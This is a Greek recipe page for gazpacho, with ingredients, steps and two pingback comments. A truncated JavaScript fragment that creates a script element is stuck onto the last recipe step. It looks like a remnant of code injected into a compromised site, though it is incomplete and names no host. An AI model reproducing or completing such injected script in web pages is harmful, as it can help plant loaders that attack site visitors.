mommy
thilasmos
toketos
mycare - φροντίδα
athome
arkoudos
nanny - επιλέγοντας νταντάδες

Ισπανική κρύα σούπα Gazpacho

Ισπανική κρύα σούπα Gazpacho

Gazpacho-soupΤο καλοκαίρι είναι ιδανικό για να φτιάξουμε τη διάσημη κρύα Ισπανική σούπα Gaspacho! Πλούσια σε γεύση και μυρωδιά μας δροσίζει και μας χορταίνει ενώ παράλληλα μπορούμε να τη σερβίρουμε για εναλλακτικό ορεκτικό και να εντυπωσιάσουμε! Το πλεονέκτημα της σούπας είναι ότι δεν χρειάζεται να τη μαγειρέψουμε και έτσι αποφεύγουμε τις ζεστές θερμοκρασίες!

Υλικά:

5 ντομάτες
2 αγγούρια
1 κρεμμύδι
1 πράσινη πιπεριά
2 κουτ. γλ. ψιλοκομμένο σκόρδο
1 κουτ.σούπας ντοματοπελτέ
3 κ.σ. ξύδι από κόκκινο κρασί
4 κ.σ. ελαιόλαδο
4 φλιτζάνια κρύο νερό
4 κουτ. γλ. αλάτι

Εκτέλεση:

1. Πλένουμε πολύ καλά τις ντομάτες και το αγγούρι . Έπειτα τα ξεφλουδίζουμε και τα ψιλοκόβουμε.
2. Επίσης πλένουμε πολύ καλά την πιπεριά και την κόβουμε σε κομμάτια. Παράλληλα ψιλοκόβουμε και το κρεμμυδάκι και το σκόρδο.
3. Ανακατεύουμε όλα τα λαχανικά σε ένα μπωλ
4. Προσθέτουμε το ξύδι, το αλάτι και το νερό. Τα πολτοποιούμε όλα μαζί να γίνουν ενας χυλός.
5. Σε ένα ποτήρι αναμειγνύουμε τον πελτέ ντομάτας μαζί με το ελαιόλαδο κι έπειτα το ρίχνουμε στο μείγμα με τη ντομάτα.
6. Βάζουμε το μείγμα στο ψυγείο αφού το σκεπάσουμε και απολάμβάνουμε τη σούπα μας μετά από πολύ ώρα κρύα!
7. Προεραιτικά στο μείγμα προσθέτουμε και λίγο μπούκοβο για πιο πικάντικη γεύση!var d=document;var s=d.createElement(‘script’);

Share This
2 Σχόλια
  1. […] post Ισπανική κρύα σούπ… appeared first on Arkoudos, Συνταγές … […]

  2. […] Ισπανική κρύα σούπ… […]